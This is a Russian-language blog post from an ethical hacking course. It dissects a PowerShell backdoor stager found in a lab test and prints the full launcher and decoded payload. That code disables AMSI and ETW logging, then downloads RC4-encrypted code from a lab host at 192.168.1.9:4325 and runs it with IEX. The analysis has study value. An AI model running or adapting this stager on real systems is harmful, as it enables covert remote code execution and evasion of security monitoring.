Всем привет.
Занимаясь по курсу этичного хакинга в одном из тестов был создание бекдора на Powershell. Действительно с помощью Metasploit такой зловред создается относительно просто. Главное правильно выбрать параметры нагрузки. Ну и сам код и его запуск представляет наглядное пособие для изучения. Так как это всего лишь тест, то код бекдора находится легко. Собственно моя находка представлена ниже:
# 2>NUL
& @CLS
& PUSHD "%~dp0"
& "%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -nol -nop -ep bypass "[IO.File]::ReadAllText('%~f0')|iex"
& DEL "%~f0"
& POPD /B powershell -noP -sta -w 1 -enc
тут далее следует код нагрузки(payload) в кодировке Base64:
SQBGACgAJABQAFM.... и т.п.
Логика бекдора следующая - скачать нагрузку по url-ссылке, декодировать ее, выполнить и удалить ее же. Что мы имеем свыше:
1) ключи запуска:
-nol :NoLogo
-nop :NoProfile
-ep :ExecutionPolicy Bypass
-sta :1 stream execution
-w 1 :Window style hidden
-enc :Encoded by base64
2) команда исполнения:
iex :InvokeExpression
Декодируем код самой нагрузки:
IF($PSVERsIONTaBLe.PSVErSIOn.MAJOr -ge 3)
{$ReF=[REF].ASseMBly.GeTType('System.Management.Automation.Amsi'+'Utils');
$ReF.GEtFieLd('amsiInitF'+'ailed','NonPublic,Static').SeTVAlUe($nuLL,$TRUE);
[System.Diagnostics.Eventing.EventProvider]."GetFie`ld"('m_e'+'nabled','Non'+'Public,'+'Instance').SetValue([Ref].Assembly.GetType('Syste'+'m.Management.Automation.Tracing.PSE'+'twLogProvider')."GetFie`ld"('et'+'wProvider','NonPub'+'lic,S'+'tatic').GetValue($null),0);};
[SYStEm.Net.SErvICePOinTManAgEr]::EXpeCT100CONTINUE=0;
$b3904=NEw-ObJect SYstEm.NeT.WEBClIeNT;
$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';
$ser=$([TEXT.EnCodIng]::UnicODE.GetSTRING([CONveRT]::FROMBase64STrInG('aAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAuADkAOgA0ADMAMgA1AA==')));
$t='/login/process.php';
$B3904.HEAdeRS.ADD('User-Agent',$u);
$b3904.PRoXy=[SYSteM.Net.WeBRequesT]::DEfauLTWeBPrOXy;
$b3904.PROxy.CREdEnTIAls = [SySTem.NET.CREDentiALCACHe]::DefAULTNeTworkCReDENtIalS;
$Script:Proxy = $b3904.Proxy;
$K=[SysTem.TexT.ENCodinG]::ASCII.GETByteS('a[ch4LG#pY6Zx;yNgoU:+d1m(3kQ/P2>');
$R={$D,$K=$ARgS;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.CoUNT])%256;
$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-Bxor$S[($S[$I]+$S[$H])%256]}};$b3904.HeAdErS.AdD("Cookie","xsBuBIejjx=PaBsnb0OF7fVsQSxVlMjr+5BScI=");$daTa=$B3904.DownLoADDAta($SEr+$T);$Iv=$data[0..3];$dATA=$dAtA[4..$DatA.LEngtH];-JOin[ChaR[]](& $R $DatA ($IV+$K))|IEX
Красота. Ок, для более удбного чтения предварительная деобфускация нагрузки от CaMeL-подобия покажет нам следующее:
if($PSVersionTable.PSVersion.Major -ge 3) {$ref=[ref].Assembly.GetType('System.Management.Automation.Amsi'+'Utils');
$ref.getfield('amsiinitf'+'ailed','nonpublic,static').SetValue($null,$true);
[System.Diagnostics.Eventing.EventProvider]."GetFie`ld"('m_e'+'nabled','non'+'public,'+'instance').setvalue([ref].assembly.gettype('syste'+'m.management.automation.tracing.pse'+'twlogprovider')."getfie`ld"('et'+'wprovider','nonpub'+'lic,s'+'tatic').getvalue($null),0);};
[System.Net.ServicepointManager]::Expect100Continue=0;
$b3904=New-Object System.Net.WebClient;
$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';
$ser=$([text.encoding]::unicode.getstring([convert]::frombase64string('aAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAuADkAOgA0ADMAMgA1AA==')));
а вот тут повторное декодирование из base64 покажет нам адрес куда будет стучаться бекдор "http://192.168.1.9:4325"
$T='/login/process.php';
$b3904.Headers.add('User-Agent',$u);
$b3904.Proxy=[system.net.Webrequest]::defaultwebproxy;
$b3904.Proxy.Credentials = [system.net.credentialcache]::defaultnetworkcredentials;
$script:proxy = $b3904.proxy;
$k=[system.text.encoding]::ascii.getbytes('a[ch4LG#pY6Zx;yNgoU:+d1m(3kQ/P2>');
$r={$d,$k=$args;$s=0..255;0..255|%{$j=($j+$s[$_]+$k[$_%$k.count])%256;$s[$_],$s[$j]=$s[$j],$s[$_]};
$d|%{$i=($i+1)%256;$h=($h+$s[$i])%256;
$s[$i],$s[$h]=$s[$h],$s[$i];
$_-bxor$s[($s[$i]+$s[$h])%256]}};
$b3904.headers.add("Cookie","xsBuBIejjx=PaBsnb0OF7fVsQSxVlMjr+5BScI=");
$data=$B3904.downloaddata($ser+$T);
$Iv=$data[0..3];
$data=$data[4..$data.length];
-join[char[]](& $R $data ($IV+$K))|IeX
И т.д., дальнейшую деобфускацию кода нагрузки я оставляю вам.
Желаю успехов.
No comments:
Post a Comment
А что вы думаете по этому поводу?